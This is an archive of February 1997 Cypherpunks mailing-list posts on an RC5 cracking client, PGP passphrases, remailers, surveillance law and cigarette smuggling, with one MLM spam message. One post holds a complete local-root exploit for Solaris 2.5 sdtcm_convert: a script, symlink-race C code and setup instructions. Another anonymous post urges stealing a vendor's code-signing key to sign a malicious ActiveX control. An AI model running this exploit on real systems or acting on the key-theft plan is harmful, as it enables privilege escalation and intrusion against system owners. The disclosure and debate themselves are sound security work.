utter waste of bandwidth > the further down I get here. Since my efforts have led to me finding out that I have a "bum client", the bandwidth is serving my purpose very well. > # > I was impressed with the genx homepage and the number of platforms to > # > which the software had been ported. The software itself was ported to > # > Win95 with at least enough competence to do 'something', as opposed to > # > requiring me to reinvent the wheel in order to get it to run. > # > But I still don't know what it does, in fact, do, or if I am just > # > pissing in the wind by running it. (Or if it was written by the same > # > guys who killed Kennedy). > # > > # > So, although I appreciate your efforts, until I find a basis for > # > deciding otherwise, I will be using the Orange Crayola to connect > # > you on my chart to the bad-guys on the X Files. > > The client allows you to participate in the RC5-56 contest (at no unfair > advantage or disadvantage). That is the bottom line. If you wish to > participate, we'd greatly welcome any instructions you can spare. If > you don't, that's fine too, best of luck. Does this include us 'retards' who are 'wasting bandwidth'? I am sure that you all are taking great pains to develop the best possible software for this endeavor, but unless you take care of the 'information' end of the spectrum, you will lose the participation of those people who require a certain level of assurance that your softare meets a decent standard of competence, and that someone is actually in charge and paying attention. Toto -- "A long time ago, being crazy meant something. "Now, everybody's crazy." Chuck Manson From get.a.life at worldnet.att.net Sat Feb 22 15:54:44 1997 From: get.a.life at worldnet.att.net (get.a.life at worldnet.att.net) Date: Sat, 22 Feb 1997 15:54:44 -0800 (PST) Subject: Tap in to You Income Potential Message-ID: <19970222223625.AUJ19585@mailhost.worldnet.att.net> Tap in to your own income potential and Make a Change for Life! Why this Company? * It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine. * It has been in business more than four years. Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S. The products are reasonably priced, easy to use and unique to the marketplace. The company offers a 30 day money-back guarantee. The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications. * It is approaching the stage of critical mass. Getting involved with the company at this stage of momentum puts you in a position of substantial growth. * The company is debt free. It is a family-owned business dedicated to long-term growth. It is also a product driven company. Your income will be driven by retail sales and repeat business. * You have the opportunity to earn income on up to sex levels deep as a Qualified Director. Please take the time to visit the corporate home page at http://www.eola.com/. Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship. I look forware to hearing from you, Neda Hatcher E'OLA Products Independent Distributor get.a.life at woldnet.att.net MasterCard and VISA accepted! (318)688-2517 msg002 From stewarts at ix.netcom.com Sat Feb 22 16:06:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 22 Feb 1997 16:06:07 -0800 (PST) Subject: IDEA/Strength? In-Reply-To: <01IFP9X27J408Y52G0@mbcl.rutgers.edu> Message-ID: <3.0.1.32.19970222160503.0064f008@popd.ix.netcom.com> At 05:57 AM 2/22/97 -0800, Toto wrote: >> >>Is the strength, or lack thereof, of conventional PGP encryption >> >>proportional to the length of the conventional password? ... > Are you saying that the strength of encryption provided by PGP >is dependent upon the password one uses? PGP _conventional_ encryption - the straight IDEA stuff, not the public-key stuff. pgp -c just uses a hash of a passphrase as its encryption key, rather than generating a high-quality 128-bit key and encrypting it with a public key. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sat Feb 22 16:09:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 22 Feb 1997 16:09:06 -0800 (PST) Subject: Security hole in Solaris 2.5 (sdtcm_convert) + exploit In-Reply-To: Message-ID: <3.0.1.32.19970222160819.00646170@popd.ix.netcom.com> At 09:36 AM 2/22/97 -0800, Mike Duvos wrote: >> Another hole in Solaris >Horrors no! ..... >Where would Unix be without symbolic links and race conditions? > >This is cute, in that rather than having to mung a symbolic link on >the fly, the program conveniently asks for user input with suid set, >and then pauses while you set the trap. As with many programs from the BSD universe, it's running with root privileges when it could have gotten by with group privileges or run as "nobody" or some other safe approach instead.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From earle at zero.genx.net Sat Feb 22 17:34:20 1997 From: earle at zero.genx.net (Earle Ady) Date: Sat, 22 Feb 1997 17:34:20 -0800 (PST) Subject: DES Crack Hype In-Reply-To: <330F7A0C.634E@sk.sympatico.ca> Message-ID: <199702230132.UAA09174@zero.genx.net> # And I have no idea what it is doing. # You probably should have gotten the source code along with it then. # math # that fucks up hard-drives and operating systems? # It seems to like to access the hard drive for two solid minutes for no # apparent reason while it is connected to your server and, according to # the message, "sleeping." A lot of things can be done in two minutes of # access to a hard drive. # As you can see in the source code, the rc5-56-client software does not access the disk in any way, shape or form. Unless your libc.so does something in sleep(2V) other than what normal distributions do, the program is really sleeping. # "It's uh, doing some math or something..." isn't a very good basis # for people to run the software on a few million bucks worth of hardware. Plain and simple, don't run it. If you do not feel comfortable running software, then don't run it. I sure as hell wouldn't, and I don't expect you to. # I don't think it is a waste of bandwith to question whether people # should feel comfortable downloading and running applications which # provide neither source code nor documentation that can be used to # judge the competence and/or integrity of those producing it. Again, this is all irrelevant since source code has, and will continue to be, available. # Yet you still call me a fucking retard for wanting to be able # to verify that your software isn't going to turn my machine into # a toaster? I think you misinterepreted what I said. You should spend less time over-analyzing this, and more time looking over the source code for the client. # This doesn't matter for shit if you have nothing in place to provide # info in this regard for those participating in your group effort. Again, this is irrelevalnt. I have nothing but support from all the major groups of people participating in this. The only person who seems so hostile towards this attempt, hasn't even bothered to even research what he is talking about. # Since my efforts have led to me finding out that I have a "bum client", # the bandwidth is serving my purpose very well. No, it works fine. The calculation on time is simply off as someone didn't compensate for a specific architecture properly. # Does this include us 'retards' who are 'wasting bandwidth'? This is so off the wall, I'm contemplating printing it out and framing it. # I am sure that you all are taking great pains to develop the best # possible software for this endeavor, but unless you take care of the # 'information' end of the spectrum, you will lose the participation of # those people who require a certain level of assurance that your # softare meets a decent standard of competence, and that someone is # actually in charge and paying attention. Like I said before. Nobody is forcing you to do anything, as a matter of fact, I dont even recall asking you. Naturally you, as well as everyone else, is more than welcome to participate in our efforts, and parts of this effort which may be lacking certain lusters will certainly be improved. We are doing this in our spare time; I personally do not care to benefit from this in anyway whatsoever. These issues are biased based on having obviously not spent enough time researching what you are talking about. Source code has been available, you never bothered to even ask. I am not going to spend anymore time in apissing contest here. We have around 4000 hosts running this, along with serious participation from major vendors. Again, if you are at all concerned about this, then don't participate. That is the bottom line. earle. From pandemodium at nym.alias.net Sat Feb 22 19:19:20 1997 From: pandemodium at nym.alias.net (Pan D.Modium) Date: Sat, 22 Feb 1997 19:19:20 -0800 (PST) Subject: Dark Times Ahead Message-ID: <19970223031916.13758.qmail@anon.lcs.mit.edu> Predictions for the Year 1. Encryption without "Key Escrow" will be outlawed. The remailer network will be shutdown following highly public raids that result in equipment seizures and prosecution of the remailer operators using RICO statutes after agents provocateur post terrorist threats to the Internet. 2. Tobacco companies will cave in to the states on liability for medical costs and declare bankruptcy. The few remaining small companies not party to the suits will see themselves targeted after prices on a pack of cigarettes rises to 1000% of the current price. Two years from now, cigarettes will be almost impossible to get and result in smuggling on a scale that dwarfs cocaine and marijuana trafficing. 3. The NSA's prohibition on domestic surveillance will be lifted following allegations of massive money laundering via the Internet and rumors that major American banks have been raided via the net by Russian mafia. 4. The IRS will go to court to force the National Rifle Association to turn over its membership lists as the agency audits the books of the non-profit organization. After obtaining the lists, the IRS will target the members for special auditing programs. 5. The FBI will direct the implementation of the Digital Telephony Act after Congress finally caves in and provides the funding. A new protocol for wiretapping will be implemented as provided for in the Act that does not allow for judicial review. 6. The Supreme Court will surprise everyone by upholding the Communications Decency Act in a 5-4 decision. The FBI will stage widely publicized raids on the most visible adult web sites. Pan D. Modium pandemodium at nym.alias.net "May you live in interesting times." -- ancient Chinese curse From sergey at el.net Sat Feb 22 19:38:15 1997 From: sergey at el.net (Sergey Goldgaber) Date: Sat, 22 Feb 1997 19:38:15 -0800 (PST) Subject: Low-Risk Remailer Proposal Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I would like to propose that persons wishing to run remailers but concerned about possible political reprecussions institute a policy of remailing only to other remailers. This would increase the total number of remailers, and decrease the chances that all or most of the available remailers are compromised. ............................................................................ . Sergey Goldgaber System Administrator el Net . ............................................................................ . The path of least resistance leads to mediocrity. . ............................................................................ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: http://www.efh.org/pgp/pgpwork.html explains this signature. iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM 5mUBCGtJngo= =UlcG -----END PGP SIGNATURE----- From mpd at netcom.com Sat Feb 22 23:38:28 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 22 Feb 1997 23:38:28 -0800 (PST) Subject: Dark Times Ahead In-Reply-To: Message-ID: <199702230738.XAA15548@netcom10.netcom.com> Timothy C. May writes: > Oh? And will the First Amendment then be repealed? > "Congress shall make no law respecting the establishment of speech or > prohibiting the free exercise thereof" seems rather clear: Congress cannot > insist that a particular form of speech be used to the exclusion of others. > A ban on coding messages, speaking in languages unintelligible to > wiretappers, etc., would quite clearly be thrown out on First Amendment > grounds, from everything I know of the Supreme Court and its reasoning. The Supremes can bypass the First Ammendment anytime they choose by simply mumbling something about "society's overwhelming interest in protecting itself." Indeed, the plethora of regulation against various forms of "bad" speech concerning children and their sexuality is the clearest example of this, with the Knox "clothed child porn" decision, and the recent Hatch nonsense making any suggestion of underage sexual activity illegal, regardless of whether underaged models were involved in its production. I expect textual material will be outlawed in a few years as well, as a "loophole" in the current laws, since real children no longer have to be associated with such material in order for it to be deemed harmful. Once that happens, a whole bunch of other things will probably be outlawed shortly thereafter, the criteria being that they are certainly as dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." Expect bombmaking instructions, anti-government tracts, cryptography, and most Loompanics books to be included here. > And so on. Banning unescrowed cryptography would result in the Mother of > all Constitutional challenges, and would, I am sure, result in such a ban > being declared unconstitutional. If throwing Alice in jail because she used > a form of speech unacceptable to the rulers is not a violation of the > First, nothing is. The frog is nearly boiled. If the Mother of all Constitutional Challenges hasn't happened by now, it isn't going to. This is a country that throws grad students in prison for possessing films of young girls doing gymnastics. What makes you think unescrowed cryptography has some special hallowed status? The First Ammendment is useless, as there are clear counterexamples to unlimited free speech. That makes it a matter of interpretation, and the courts will interpret it according to the existing level of public hysteria. The Fourth Ammendment only guarantees us "due process." We do not, as some countries do, have a strong privacy provision written into our Constitution. I have always held that a well-written privacy provision keeping the government out of peoples homes and personal possessions is worth ten First Ammendments. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From skipo at sundy.cs.pub.ro Sun Feb 23 01:21:50 1997 From: skipo at sundy.cs.pub.ro (Cristian SCHIPOR) Date: Sun, 23 Feb 1997 01:21:50 -0800 (PST) Subject: Exploit for sdtcm_convert - Solaris 2.5 - second Message-ID: Sun Feb 23 10:36:58 EET 1997 Romania "Exploit for sdtcm_convert - Solaris 2.5" I send you an e-mail about a bug and an exploit for sdtcm_convert. (sdtcm_convert allows you to become owner of any file or directory from the system - and gain root access ) First, there was some problems with my uuencoded exploit (some damaged it on the route...) so i'll resend you the files for exploit. Second, Casper Dick send me: >Is this the bug fixed in the Sun patches: >103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability >103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability >103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86 version) >103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86 version) >or is it a new one? >Casper I cant found this patches to verify if that fix the problem i have found or not. Anyway you have an exploit ! (execute 'thefist' and wait) Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo at math.pub.ro skipo at sundy.cs.pub.ro skipo at ns.ima.ro Phone: (401) 410.60.88 ------------------------- file thefirst ------------------------------------ /bin/echo "orange.c -> orange" gcc -o orange orange.c /usr/ucb/whoami > wh read USER < ./wh #watching for callog file if it isnt will stop if ! test -f /var/spool/calendar/callog.$USER; then /bin/echo "I cant found callog file. Please read README and create it" exit; fi /bin/echo "what's the target ???" read TARGET /bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon /bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon /bin/chmod 700 ./lemon ./orange $TARGET $USER ------------------------- end -------------------------- ------------------------ file orange.c --------------------------- #include #include #include #include #define path "/var/spool/calendar/callog." void main(int argc, char *argv[]) { int pid,filedes[2]; FILE *f; struct stat info; long i; char target[128],shift[128]; strcpy(target,argv[1]); strcpy(shift,path); strcat(shift,argv[2]); if(pipe(filedes)) { perror("cant crate pipe\n"); exit(0); } if(pid=fork()==0) { for(i=0;i<30000000;i++); unlink(shift); symlink(target,shift); write(filedes[1],"y\n",sizeof("y\n")); } else { close(0); dup(filedes[0]); system("lemon"); stat(target,&info); if(info.st_uid==getuid()) printf("COLL I did IT !!!\n"); } } ------------------------ end ---------------------------- ------------------------ file README ---------------------- *How to make a simple callog file* If you dont have a /var/spool/calendar/callog.YOU edit callog.example, replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your machine name (try first the short name, example: sundy and if you'll have troubleshotings try the long name, example sundy.cs.pub.ro). After that copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run once sdtcm_convert with your user name (example sdtcm_convert skipo) and wait for corrections. Now you are ready to run the exploit. Another way is to run calendar tool from CDE. ------------------------- end ------------------------------- ------------------------ file callog.example ------------------------ Version: 4 **** start of log on Fri Dec 6 14:07:43 1996 **** (calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo at sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo at sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1") ("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z") ("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN") ("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN") ) -------------------------- end -------------------------------- From bdolan at USIT.NET Sun Feb 23 06:12:24 1997 From: bdolan at USIT.NET (Brad Dolan) Date: Sun, 23 Feb 1997 06:12:24 -0800 (PST) Subject: Dark Times Ahead In-Reply-To: <19970223031916.13758.qmail@anon.lcs.mit.edu> Message-ID: On 23 Feb 1997, Pan D.Modium wrote: > Predictions for the Year > 2. Tobacco companies will cave in to the states on liability for > medical costs and declare bankruptcy. The few remaining small > companies not party to the suits will see themselves targeted > after prices on a pack of cigarettes rises to 1000% of the > current price. Two years from now, cigarettes will be almost > impossible to get and result in smuggling on a scale that dwarfs > cocaine and marijuana trafficing. When I was a kid, we'd just grab a tobacco leaf in the barn and roll it up in a piece of paper. Informal cigarettes will always be easy to get. But the FDA will have an excuse to start fielding large SWAT teams. Brad attention: WKEWE EOXEN RILKX OC'QD ,CYEL VPJVL KRLKC IQ'BM E;SRF U;RVU From jya at pipeline.com Sun Feb 23 10:14:43 1997 From: jya at pipeline.com (John Young) Date: Sun, 23 Feb 1997 10:14:43 -0800 (PST) Subject: CIA Lie Message-ID: <1.5.4.32.19970223180814.006eb4ec@pop.pipeline.com> The Washington Post, February 20, 1997, p. A22: Domestic CIA Snooping The CIA's assertion on its Web page that the agency does not keep files on Americans is not in fact true ["In the Loop," Federal Page, Feb. 12]. The agency opened a file on my client, Daniel Tsang, a political activist and librarian at the University of California at Irvine, in the 1980s and recorded his constitutionally protected activities. When we sued the agency, we discovered that no agency directives prohibit the maintenance of such files and the CIA lawyers made the extraordinary claim that it is legal for the agency to keep files on Americans, including on citizens' First Amendment activities. The CIA claimed that it is exempt from Privacy Act restrictions on such practices. While the CIA eventually agreed to expunge Mr. Tsang's file and promised to refrain from opening such files on him in the future, it refused to acknowledge any limitation on its authority to keep files on other Americans. It should do so now. Kate Martin Washington The writer is director of the Center for National Security Studies, a project of the Fund for Peace. ----- From minow at apple.com Sun Feb 23 11:24:20 1997 From: minow at apple.com (Martin Minow) Date: Sun, 23 Feb 1997 11:24:20 -0800 (PST) Subject: Dark Times Ahead - sort of off-topic In-Reply-To: <19970223031916.13758.qmail@anon.lcs.mit.edu> Message-ID: "Pan D.Modium" writes, in part: >2. Tobacco companies will cave in to the states on liability for > medical costs and declare bankruptcy. The few remaining small > companies not party to the suits will see themselves targeted > after prices on a pack of cigarettes rises to 1000% of the > current price. Two years from now, cigarettes will be almost > impossible to get and result in smuggling on a scale that dwarfs > cocaine and marijuana trafficing. Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are a choice smuggling item. I vaguely recall a price of $200 per cigarette (but note that, in a prison economy, the "dollar" is only loosely connected to reality. I can imagine a National Smokers Association: "When cigarettes are outlawed, only outlaws will have cigarettes" -- or, somewhat more appropriately, "you can have my cigarette when you pry my cold dead fingers off of it." Martin Minow (non-smoker, other vices not discussed) From jimbell at pacifier.com Sun Feb 23 14:48:43 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 23 Feb 1997 14:48:43 -0800 (PST) Subject: Dark Times Ahead Message-ID: <199702232248.OAA22931@mail.pacifier.com> At 11:38 PM 2/22/97 -0800, Mike Duvos wrote: >Timothy C. May writes: > >> Oh? And will the First Amendment then be repealed? > >> "Congress shall make no law respecting the establishment of speech or >> prohibiting the free exercise thereof" seems rather clear: Congress cannot >> insist that a particular form of speech be used to the exclusion of others. > >> A ban on coding messages, speaking in languages unintelligible to >> wiretappers, etc., would quite clearly be thrown out on First Amendment >> grounds, from everything I know of the Supreme Court and its reasoning. > >The Supremes can bypass the First Ammendment anytime they choose by simply >mumbling something about "society's overwhelming interest in protecting >itself." I'd sure like to know how they figure out what "society" really wants to do! In April of 1993, which the original Clipper chip/system was proposed, not all that many people had even heard of the Internet, and far fewer were aware of the details of encryption. Surely they didn't mean to suggest that "society" was in favor of Clipper? Blissfully ignorant, perhaps, but not in favor! (B^) Obviously, with their "If you only knew what we know" they'll claim that the public would have favored Clipper if it knew the real problems, but the way I see it, if they REALLY believed that there was a serious threat to anything other than merely their jobs, they would have done a better job convincing the public. Jim Bell jimbell at pacifier.com From dlv at bwalk.dm.com Sun Feb 23 15:10:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 23 Feb 1997 15:10:14 -0800 (PST) Subject: An Overweening Faith in the Supreme Court In-Reply-To: <19970223142933.8389.qmail@anon.lcs.mit.edu> Message-ID: "Pan D.Modium" writes: > In short, America has been sliding down the path to fascism at an > amazing pitch since the early 80's. Not once in history has a country > gone this far down the path to tyranny and turned back. America will > not be the first. Dunno about turning back but the U.S. does resemble in many ways Argentina in the '40's and '50's. (It resembles the U.S.S.R in the '70's in yet other ways. :-) So, can you think of a good country to move to, besides Israel? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From gbroiles at netbox.com Sun Feb 23 15:16:40 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sun, 23 Feb 1997 15:16:40 -0800 (PST) Subject: CIA Lie In-Reply-To: <1.5.4.32.19970223180814.006eb4ec@pop.pipeline.com> Message-ID: <3.0.1.32.19970223151811.006c60f0@mail.io.com> At 01:08 PM 2/23/97 -0500, John Young wrote: [...] > While the CIA eventually agreed to expunge Mr. Tsang's file > and promised to refrain from opening such files on him in > the future, it refused to acknowledge any limitation on its > authority to keep files on other Americans. It should do so > now. I received a reply to my FOIA request re cpunks to the CIA; it indicates that they "doubt" that they have any records responsive to my request, and think I'd be better served by writing to the FCC. (?!) It's at . I'm going to write back and ask them to actually comply with FOIA, e.g., look through their files, instead of just guessing that there probably isn't anything in there. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From dlv at bwalk.dm.com Sun Feb 23 15:30:06 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 23 Feb 1997 15:30:06 -0800 (PST) Subject: Dark Times Ahead - sort of off-topic In-Reply-To: <3310CC67.30EE@sk.sympatico.ca> Message-ID: <69PL3D59w165w@bwalk.dm.com> Toto writes: > Martin Minow wrote: > > Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are > > a choice smuggling item. > > > I vaguely recall a price of $200 per > > cigarette (but note that, in a prison economy, the "dollar" is > > only loosely connected to reality. > > If it's been a while since you were released, then the prices > have probably changed. Ask Randall Schwartz (spit). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jimbell at pacifier.com Sun Feb 23 17:08:00 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 23 Feb 1997 17:08:00 -0800 (PST) Subject: CIA Lie Message-ID: <199702240107.RAA05569@mail.pacifier.com> At 03:18 PM 2/23/97 -0800, Greg Broiles wrote: >I received a reply to my FOIA request re cpunks to the CIA; it indicates >that they "doubt" that they have any records responsive to my request, and >think I'd be better served by writing to the FCC. (?!) It's at >. I'm going to write back >and ask them to actually comply with FOIA, e.g., look through their files, >instead of just guessing that there probably isn't anything in there. You could have said to them, "If you can't find anything, maybe you could make something up, okay?" Jim Bell jimbell at pacifier.com From lucifer at dhp.com Sun Feb 23 17:09:14 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sun, 23 Feb 1997 17:09:14 -0800 (PST) Subject: It is time to break Authenticode Message-ID: <199702240109.UAA17912@dhp.com> Microsoft's recent arrogant and irresponsible reply to the Chaos Computer Club hack on ActiveX requires response. An effective response would be to steal the key of a major code signer and produce a signed, malicious ActiveX control. Such an attack would demonstrate the serious problems of Microsoft's security philosophy. Hackers have known since ActiveX was announced that its security model is ridiculous. Signatures are not enough to protect users from malicious code. Exploder and the CCC hack have done a great job of demonstrating practical examples of why ActiveX is dangerous. The CCC hack in particular has made the ActiveX security issue visible enough that Microsoft has been forced to respond publically. Unfortunately, their published response on http://www.microsoft.com/security/ does not begin to admit the fundamental flaws in ActiveX. Instead, they continue to hide behind code signatures and mislead the public that their system is no less secure than Java. The obvious response to Microsoft's attempt at damage control is to demonstrate an attack with a control signed by a reputable party. There are three ways to do this: subvert an existing signed control, subvert the signature protocols, or steal a signing key. Subverting existing signed controls is an interesting avenue. Currently used ActiveX controls have implementation bugs that could be exploited in an attack. Finding one would be a fair amount of work, however, and a successful attack would only show that code has bugs, not demonstrate the fundamental flaw in relying on code signatures. The signature protocols of Authenticode are presumably secure - getting signatures right is well understood. Still, does anyone have information on exactly how the signatures work? The best avenue of attack is stealing the secret key of a respected code signer. The target should be one of the major players, if not Microsoft itself. Someone is sloppy to store their secret key on a machine hooked to the Internet. Stealing it would be a very nice challenge. It should be doable. Stealing the key itself will almost certainly be an illegal act. Morally, the demonstration signed control should itself not do damage. Something like the Exploder control (which warns the user before shutting down the machine) should be good enough to show the flaws of ActiveX without causing trouble. A public discussion about how to best go about this attack should be interesting. For obvious reason, the attack itself would have to be done in secrecy. From gbroiles-nospam at netbox.com Sun Feb 23 17:44:21 1997 From: gbroiles-nospam at netbox.com (Greg Broiles) Date: Sun, 23 Feb 1997 17:44:21 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy Message-ID: <3310e0fa.5573759@library.airnews.net> Some thoughts about the distributed crack/reward distribution thing: The "you must report results only to the crack organizers" rule can be enforced if it's made into a contract. Even without a formal contract, I think it's plausible to argue that pretending to participate in the distributed crack, *and representing that to the organizers and thereby gaining access to their private database of already-searched keyspace*, and using that information for one's own private gain, could reasonably be construed as fraud. (depending on your jurisdiction, blah blah blah. But the general pattern - knowing misrepresentation, foreseeable & intended reliance, loss to one party is gain for another - is right at the heart of common-law fraud. The "widely distributed computing" approach depends for economic viability (as opposed to being just an amusing hobby) on preserving the confidentiality of input and output datasets. This protection can be (and will be) provided by both law and technology. The technological side will likely depend on programs distributed as executables only. This implies a client-side "sandbox" environment such as Java so that the software can't get to any of the local hardware (except the processor & display). If distributed crack organizers can be confident that they'll be able to reap the benefits of their organizing, they can offer payments to unsuccessful participants. This approach (tiny payments for idle cycles) scales better to real-world distributed computing problems than the all-or-nothing $10K approach. Because of the need for confidentiality, real-world distributed computing problems are unlikely to give participants a chance at a "big win" if they cheat somehow. (For example, assume Eve intercepts some ciphertext, and she knows enough about the structure of it that she can predict some of its contents (like message headers, or TCP/IP headers) - she will ask for keys which decrypt [a tiny piece of] the headers, and save the juicy data for herself. A cheating participant in the distributed crack gains very little by keeping the winning result to him/herself, unless she knows more about the context of Eve's interception.) I'm suspicious of the idea that a lot of people are going to meaningfully participate in the crack because they've got a "chance" to win $10K; assuming a wide distribution of client software, the chances that any particular client will hit the key is unlikely to be better than 1 in 10,000 or so (and my hunch is it's more like 1 in 100,000) .. which means that the "chance" is worth somewhere between $1 and $.10. Personally, I'd be more motivated by the idea that the crack might help kill stupid export control laws. Then again, I'm one of those people who won't buy lottery tickets. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From gbroiles at netbox.com Sun Feb 23 17:48:07 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sun, 23 Feb 1997 17:48:07 -0800 (PST) Subject: CIA Lie In-Reply-To: <199702240107.RAA05569@mail.pacifier.com> Message-ID: <3.0.1.32.19970223175349.00ce2ee4@mail.io.com> At 05:09 PM 2/23/97 -0800, jim bell wrote: > >You could have said to them, "If you can't find anything, maybe you could >make something up, okay?" I think I'd only be disappointed, given the high quality of goofball conspiracy theory I've grown accustomed to on the list. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From minow at apple.com Sun Feb 23 18:14:39 1997 From: minow at apple.com (Martin Minow) Date: Sun, 23 Feb 1997 18:14:39 -0800 (PST) Subject: Speculations on Espionage-Enabled Encryption In-Reply-To: <199702232031.MAA11004@mail.pacifier.com> Message-ID: Jim Bell writes: > >Has it been established that Microsoft (is only/can only) sign crypto >add-ons which are approved for export? Since there are no restrictions >domestically, presumably Microsoft can sign anything it wants. If those >versions ever manage to "sneak out" of the country, well that's too bad! > Here are some speculations based, in part, on my interpretation (repeat, MY INTERPRETATION) of discussion on code signing at last year's Java One conference: -- Only the vendor, physically located in the USA, will sign crypto add-ons. -- Since the add-ons are physically signed in the USA, the signed add-on must comply with all export regulations. I.e., no restriction on domestic use, various export control restrictions as appropriate to the crypto add-on. I would presume that the add-on would be distributed public-key encrypted, and could only be created by the holder of the corresponding private key (i.e. the operating-system vendor) and, furthermore, could only be run by an operating system that could decrypt the add-on package. A vendor could presumably export operating system variants that could not execute some subset of crypto add-ons because the variant lacks the ability to decrypt the package. In the long-term (3-5 years), I wouldn't be suprised to find the decryption capability moved onto the processor chip, making the problem of distribution strong crypto more difficult. Martin Minow minow at apple.com From jya at pipeline.com Sun Feb 23 18:16:09 1997 From: jya at pipeline.com (John Young) Date: Sun, 23 Feb 1997 18:16:09 -0800 (PST) Subject: CIA Lie Message-ID: <1.5.4.32.19970224020944.006e1e44@pop.pipeline.com> After eying the disingenuous CIA letter to Greg, it may be worth eying disingenuous USG laws on electronic surveillance, most of which ostensibly apply to foreign targets but may catch US citizens in the global sweep, say, as on Cypherpunks -- keep at it, Greg. We've put some of them on our site today, as listed at: http://jya.com/crypto.htm fis.htm Foreign Intelligence Surveillance (108K) 50usc402a.txt Coordination of Counterintelligence 50usc438.txt Access to Classified Information 18usc794.txt Espionage and Censorship 18usc2511.txt Electronic Communications Intercepts 18usc2709.txt Electronic Records Access 15usc1681u.txt Disclosures to FBI for Counterintelligence 12usc3414.txt Right to Financial Privacy For details not fully revelatory of the CIA's operations, see 50USC413 et seq., by searching the United States Code at: http://www.access.gpo.gov/su_docs/aces/aaces002.html From jimbell at pacifier.com Sun Feb 23 18:23:12 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 23 Feb 1997 18:23:12 -0800 (PST) Subject: It is time to break Authenticode Message-ID: <199702240222.SAA13104@mail.pacifier.com> At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote: >Microsoft's recent arrogant and irresponsible reply to the Chaos >Computer Club hack on ActiveX requires response. An effective response >would be to steal the key of a major code signer and produce a signed, >malicious ActiveX control. Such an attack would demonstrate the >serious problems of Microsoft's security philosophy. > [trim] > >The best avenue of attack is stealing the secret key of a respected >code signer. The target should be one of the major players, if not >Microsoft itself. Someone is sloppy to store their secret key on a >machine hooked to the Internet. Stealing it would be a very nice >challenge. It should be doable. I can think of an easier way. If the goal is simply to demonstrate that the system can be broken, how about offering a not-insignificant amount of money to anonymous person who manages to successfully get code signed? No exposure is necessary, just the signature done once. Jim Bell jimbell at pacifier.com From roach_s at alph.swosu.edu Sun Feb 23 21:10:51 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Sun, 23 Feb 1997 21:10:51 -0800 (PST) Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE Message-ID: <199702240510.VAA28279@toad.com> At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote: >--- begin forwarded text ... >This symposium will consider a wide range of issues, including: > >**Differences in determining the electronic commerce income >tax base. Should source or residence rules be used, or 